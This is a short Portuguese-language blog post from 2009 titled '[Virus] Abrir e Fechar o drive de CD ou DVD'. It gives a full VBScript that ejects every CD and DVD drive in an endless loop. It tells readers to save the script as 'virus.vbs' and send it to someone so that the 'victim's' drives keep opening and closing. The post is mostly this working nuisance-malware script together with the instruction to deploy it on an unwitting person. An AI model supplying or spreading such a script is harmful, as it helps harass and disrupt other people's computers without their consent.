Infoll’s Blog

Aqui você aprende informática de maneira fácil e rápida!

[Virus] Abrir e Fechar o drive de CD ou DVD

Copie o código no bloco de notas e salve como NOME.vbs
Exemplo virus.vbs
 
 
Set oWMP = CreateObject(“WMPlayer.OCX.7” )
Set colCDROMs = oWMP.cdromCollection
if colCDROMs.Count >= 1 then
do
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next ‘ cdrom
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next ‘ cdrom
loop
End If

  
Agora mande pra alguém e o os drivers de CD e DVD da vítima vai ficar abrindo e fechando.
 
Se vc por curiosidade abrir o arquivo, é só ir no gerenciador de tarefas e finalizar o processo wscript.exe.

maio 15, 2009 - Posted by | Sem categoria

Nenhum comentário ainda.

Deixe um comentário

Preencha os seus dados abaixo ou clique em um ícone para log in:

Logotipo do WordPress.com

Você está comentando utilizando sua conta WordPress.com. Sair /  Alterar )

Foto do Google+

Você está comentando utilizando sua conta Google+. Sair /  Alterar )

Imagem do Twitter

Você está comentando utilizando sua conta Twitter. Sair /  Alterar )

Foto do Facebook

Você está comentando utilizando sua conta Facebook. Sair /  Alterar )

Conectando a %s

%d blogueiros gostam disto: